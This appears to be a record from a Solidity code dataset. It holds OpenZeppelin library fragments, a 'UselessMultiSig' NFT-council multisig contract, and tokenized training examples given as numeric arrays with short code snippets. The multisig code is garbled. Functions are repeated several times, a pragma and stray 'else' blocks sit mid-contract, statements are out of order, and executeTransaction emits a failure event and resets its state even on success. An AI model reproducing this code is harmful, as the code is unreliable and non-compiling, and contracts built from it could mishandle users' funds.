true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
============ Constants ============ ============ Storage ============ ============ Structs ============
contract UselessMultiSig { event Confirmation(uint256 indexed tokenId, uint256 indexed transactionId); event Revocation(uint256 indexed tokenId, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId, string error); event RequirementChange(uint256 required); event ReceiveEther(address indexed sender, uint amount); uint256 constant public MAX_OWNER_COUNT = 50; address constant ADDRESS_ZERO = address(0x0); mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(uint256 => bool)) public confirmations; UselessNFT public uselessNft; uint256 public required; uint256 public transactionCount; pragma solidity ^0.6.12; struct Transaction { address destination; uint256 value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this), "only this council can call"); _; } modifier requireIsValidOwnerAndCouncilIsSetUp( uint _tokenId ) { require( !uselessNft.isSaleOpen() && uselessNft.randomNumber() != 0, "council is not set up yet" ); require(uselessNft.ownerOf(_tokenId) == msg.sender, "not a valid owner"); require(uselessNft.getTier(_tokenId) <= UselessLibrary.Tier.TIER_ONE, "owner is not useless enough"); _; } modifier transactionExists( uint256 transactionId ) { require(transactions[transactionId].destination != ADDRESS_ZERO, "useless transaction does not exist"); _; } modifier confirmed( uint256 transactionId, uint256 tokenId ) { require(confirmations[transactionId][tokenId], "useless transaction is not confirmed by this NFT"); _; } modifier notConfirmed( uint256 transactionId, uint256 tokenId ) { require(!confirmations[transactionId][tokenId], "useless transaction is already confirmed"); _; } modifier notExecuted( uint256 transactionId ) { require(!transactions[transactionId].executed, "useless transaction is already executed"); _; } modifier notNull( address _address ) { require(_address != ADDRESS_ZERO, "address is useless"); _; } modifier validRequirement( uint256 ownerCount, uint256 _required ) { require( _required <= ownerCount && _required != 0 && ownerCount != 0, "requirements are useless" ); _; } address payable _uselessNft ) public constructor( { uselessNft = UselessNFT(_uselessNft); required = 6; } receive() external payable { emit ReceiveEther(msg.sender, msg.value); } function ownerTokenIds() public view returns (uint[] memory) { return uselessNft.getCouncilIds(); } function owners() public view returns (address[] memory) { UselessNFT _uselessNFT = uselessNft; uint[] memory tokenIds = _uselessNFT.getCouncilIds(); address[] memory _owners = new address[](tokenIds.length); for (uint i = 0; i < tokenIds.length; i++) { _owners[i] = _uselessNFT.ownerOf(tokenIds[i]); } return _owners; } function owners() public view returns (address[] memory) { UselessNFT _uselessNFT = uselessNft; uint[] memory tokenIds = _uselessNFT.getCouncilIds(); address[] memory _owners = new address[](tokenIds.length); for (uint i = 0; i < tokenIds.length; i++) { _owners[i] = _uselessNFT.ownerOf(tokenIds[i]); } return _owners; } function changeRequirement( uint256 _required ) public onlyWallet validRequirement(owners().length, _required) { required = _required; emit RequirementChange(_required); } function submitTransaction( uint256 tokenId, address destination, uint256 value, bytes memory data ) public returns (uint256) { uint256 transactionId = _addTransaction(destination, value, data); confirmTransaction(tokenId, transactionId); return transactionId; } function confirmTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) transactionExists(transactionId) notConfirmed(transactionId, tokenId) { confirmations[transactionId][tokenId] = true; emit Confirmation(tokenId, transactionId); executeTransaction(tokenId, transactionId); } function revokeConfirmation( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { confirmations[transactionId][tokenId] = false; emit Revocation(tokenId, transactionId); } function executeTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, string memory error) = _externalCall(txn.destination, txn.value, txn.data); if (success) { emit Execution(transactionId); emit ExecutionFailure(transactionId, error); txn.executed = false; } } } function executeTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, string memory error) = _externalCall(txn.destination, txn.value, txn.data); if (success) { emit Execution(transactionId); emit ExecutionFailure(transactionId, error); txn.executed = false; } } } function executeTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, string memory error) = _externalCall(txn.destination, txn.value, txn.data); if (success) { emit Execution(transactionId); emit ExecutionFailure(transactionId, error); txn.executed = false; } } } } else { function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } function getConfirmationCount( uint256 transactionId ) public view returns (uint256) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } } return count; } function getConfirmationCount( uint256 transactionId ) public view returns (uint256) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } } return count; } function getConfirmationCount( uint256 transactionId ) public view returns (uint256) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } } return count; } function getTransactionCount( bool pending, bool executed ) public view returns (uint256) { uint256 count = 0; for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } return count; } function getTransactionCount( bool pending, bool executed ) public view returns (uint256) { uint256 count = 0; for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } return count; } function getTransactionCount( bool pending, bool executed ) public view returns (uint256) { uint256 count = 0; for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } return count; } function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } return (true, ""); } } (bool success, bytes memory result) = destination.call{value : value}(data); function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } return (true, ""); } } function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } return (true, ""); } } } else { function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } return (true, ""); } } } else { function _addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256) { uint256 transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); return transactionId; } function _addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256) { uint256 transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); return transactionId; } function _addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _string = new bytes(42); _string[0] = "0"; _string[1] = "x"; for (uint i = 0; i < 20; i++) { _string[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _string[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_string); } function _addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _string = new bytes(42); _string[0] = "0"; _string[1] = "x"; for (uint i = 0; i < 20; i++) { _string[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _string[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_string); } }
542,788
[ 1, 14468, 5245, 422, 1432, 631, 422, 1432, 631, 5235, 422, 1432, 631, 422, 1432, 631, 7362, 87, 422, 1432, 631, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 587, 1786, 403, 5002, 8267, 288, 203, 203, 565, 871, 17580, 367, 12, 11890, 5034, 8808, 1147, 548, 16, 2254, 5034, 8808, 24112, 1769, 203, 565, 871, 14477, 4431, 12, 11890, 5034, 8808, 1147, 548, 16, 2254, 5034, 8808, 24112, 1769, 203, 565, 871, 2592, 3951, 12, 11890, 5034, 8808, 24112, 1769, 203, 565, 871, 8687, 12, 11890, 5034, 8808, 24112, 1769, 203, 565, 871, 8687, 5247, 12, 11890, 5034, 8808, 24112, 16, 533, 555, 1769, 203, 565, 871, 30813, 3043, 12, 11890, 5034, 1931, 1769, 203, 565, 871, 17046, 41, 1136, 12, 2867, 8808, 5793, 16, 2254, 3844, 1769, 203, 203, 203, 565, 2254, 5034, 5381, 1071, 4552, 67, 29602, 67, 7240, 273, 6437, 31, 203, 565, 1758, 5381, 11689, 10203, 67, 24968, 273, 1758, 12, 20, 92, 20, 1769, 203, 203, 203, 565, 2874, 12, 11890, 5034, 516, 5947, 13, 1071, 8938, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2874, 12, 11890, 5034, 516, 1426, 3719, 1071, 6932, 1012, 31, 203, 565, 587, 1786, 403, 50, 4464, 1071, 26967, 50, 1222, 31, 203, 565, 2254, 5034, 1071, 1931, 31, 203, 565, 2254, 5034, 1071, 2492, 1380, 31, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 26, 18, 2138, 31, 203, 565, 1958, 5947, 288, 203, 3639, 1758, 2929, 31, 203, 3639, 2254, 5034, 460, 31, 203, 3639, 1731, 501, 31, 203, 3639, 1426, 7120, 31, 203, 565, 289, 203, 203, 203, 565, 9606, 1338, 16936, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 2211, 2 ]
./partial_match/1/0x402D46A20C849390Da96CeB0C3c04832D29e87d7/sources/DssSpell.sol
Remove CRVV1ETHSTETH-A from autoline
DssExecLib.removeIlkFromAutoLine("CRVV1ETHSTETH-A");
9,184,074
[ 1, 3288, 6732, 58, 58, 21, 1584, 44, 882, 1584, 44, 17, 37, 628, 2059, 15572, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 463, 1049, 1905, 5664, 18, 4479, 45, 80, 79, 1265, 4965, 1670, 2932, 5093, 58, 58, 21, 1584, 44, 882, 1584, 44, 17, 37, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xA5EA05358F4D65548cb04aeCC2C4a2381F573E9B/sources/contracts/MinerIssuance.sol
* Issue at least `minMinerOut` Miner for an exact amount of ETH. @param minMinerOut uint256 The minimum amount of Miner token to receive. Reverts if the minimum is not met. @param deadline uint256 A timestamp indicating how long the swap will stay active. Reverts if expired. @return uint256 The amount of Miner token swapped./ solhint-disable-next-line not-rely-on-time
function issueMinerForExactETH(uint256 minMinerOut, uint256 deadline) external payable returns (uint256) { require(deadline >= block.timestamp, "Issuance/deadline-expired"); uint256 ethIn = msg.value; require(ethIn > 0, "Issuance/deposit-invalid"); uint256 minerOut = _calculateETHToMiner(ethIn); require(minerOut >= minMinerOut, "Issuance/insufficient-amount-out"); _asyncTransfer(owner(), ethIn); MinerReserve(reserve).issue(_msgSender(), minerOut); emit Issued(_msgSender(), reserve, ethIn, minerOut); return minerOut; }
7,034,071
[ 1, 12956, 622, 4520, 1375, 1154, 2930, 264, 1182, 68, 5444, 264, 364, 392, 5565, 3844, 434, 512, 2455, 18, 225, 1131, 2930, 264, 1182, 2254, 5034, 1021, 5224, 3844, 434, 5444, 264, 1147, 358, 6798, 18, 868, 31537, 309, 326, 5224, 353, 486, 5100, 18, 225, 14096, 2254, 5034, 432, 2858, 11193, 3661, 1525, 326, 7720, 903, 23449, 2695, 18, 868, 31537, 309, 7708, 18, 327, 2254, 5034, 1021, 3844, 434, 5444, 264, 1147, 7720, 1845, 18, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 486, 17, 266, 715, 17, 265, 17, 957, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5672, 2930, 264, 1290, 14332, 1584, 44, 12, 11890, 5034, 1131, 2930, 264, 1182, 16, 2254, 5034, 14096, 13, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 22097, 1369, 1545, 1203, 18, 5508, 16, 315, 7568, 89, 1359, 19, 22097, 1369, 17, 15820, 8863, 203, 203, 3639, 2254, 5034, 13750, 382, 273, 1234, 18, 1132, 31, 203, 203, 3639, 2583, 12, 546, 382, 405, 374, 16, 315, 7568, 89, 1359, 19, 323, 1724, 17, 5387, 8863, 203, 203, 3639, 2254, 5034, 1131, 264, 1182, 273, 389, 11162, 1584, 44, 774, 2930, 264, 12, 546, 382, 1769, 203, 203, 3639, 2583, 12, 1154, 264, 1182, 1545, 1131, 2930, 264, 1182, 16, 315, 7568, 89, 1359, 19, 2679, 11339, 17, 8949, 17, 659, 8863, 203, 203, 3639, 389, 3810, 5912, 12, 8443, 9334, 13750, 382, 1769, 203, 203, 3639, 5444, 264, 607, 6527, 12, 455, 6527, 2934, 13882, 24899, 3576, 12021, 9334, 1131, 264, 1182, 1769, 203, 203, 3639, 3626, 9310, 5957, 24899, 3576, 12021, 9334, 20501, 16, 13750, 382, 16, 1131, 264, 1182, 1769, 203, 203, 3639, 327, 1131, 264, 1182, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x522C2aa1207093d2a45375Bc39b240cbfcE04d3F/sources/chadBro.sol
wallet size is locked to this amount
uint256 private _maxWalletSize = 1388413800869420;
9,128,016
[ 1, 19177, 963, 353, 8586, 358, 333, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
